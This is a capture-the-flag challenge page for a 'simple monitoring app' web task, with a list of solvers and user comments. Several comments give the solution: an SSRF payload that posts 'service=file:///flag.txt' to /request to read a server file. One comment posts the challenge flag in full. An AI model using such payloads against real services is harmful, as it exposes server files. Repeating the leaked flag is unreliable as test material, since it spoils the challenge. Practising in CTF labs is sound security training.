nextGen 1WEB 未解决
分数:
0
金币:
0
题目作者:
未知
一 血:
L010
一血奖励:
0金币
解 决:
1870
提 示:
Flag is in the `/flag.txt` file of the web server
描 述:
> Simple monitoring app.
评分(6)
解题动态
Atri(亚托莉) 攻破了该题 26分钟前
低调申 攻破了该题 1小时前
killerofAI 攻破了该题 3天前
zmxyfox 攻破了该题 3天前
寤闈 攻破了该题 4天前
NEWBEEE 攻破了该题 4天前
秋叶沙沙 攻破了该题 4天前
zhzuo 攻破了该题 5天前
dddddddwww 攻破了该题 9天前
raven111 攻破了该题 10天前
HUANG1115 攻破了该题 12天前
phaso 攻破了该题 12天前
i8vkmmju 攻破了该题 12天前
Redlover 攻破了该题 13天前
Dxmax 攻破了该题 13天前
我不吃鱼肉了 攻破了该题 14天前
sncxubcdhc 攻破了该题 14天前
pinus 攻破了该题 15天前
bed77574 攻破了该题 15天前
评论
mdd 1月前
举报
fetch('/request', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'service=file:///flag.txt' }).then(res => res.text()).then(console.log);
子豪闪闪发光 10月前
举报
shellmates{********}
2450710531 1年前
举报
需要抓包哦
ahsjezyt 1年前
举报
shellmates{***}
bugku111222 1年前
举报
为什么一直响应400
Zhumeng 1年前
举报
简单的ssrf 通过网络抓包 会发送一个向request去发送一个post请求 提示说读取flag.txt 猜测是ssrf 有个这个 service=网址 这里可以把他换成 service=file://127.0.0.1/flag.txt 即可读取flag
红薯味橘子 1年前
举报
见作者：MiracleWolf的http://47.98.239.98/2023/11/18/ctf-webnextgen-1%e3%80%812/详解
小白帽来挖个漏洞 1年前
举报
题解：https://blog.csdn.net/guanrongl/article/details/142931716
差距从何而起 1年前
举报
shellmates{1T_W4S_4_qu1T3_3s4y_expl01tabL3_$$Rf}
MOCHAOLIN 2年前
举报
POST /request HTTP/1.1 Host: 82.157.146.43:17387 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gz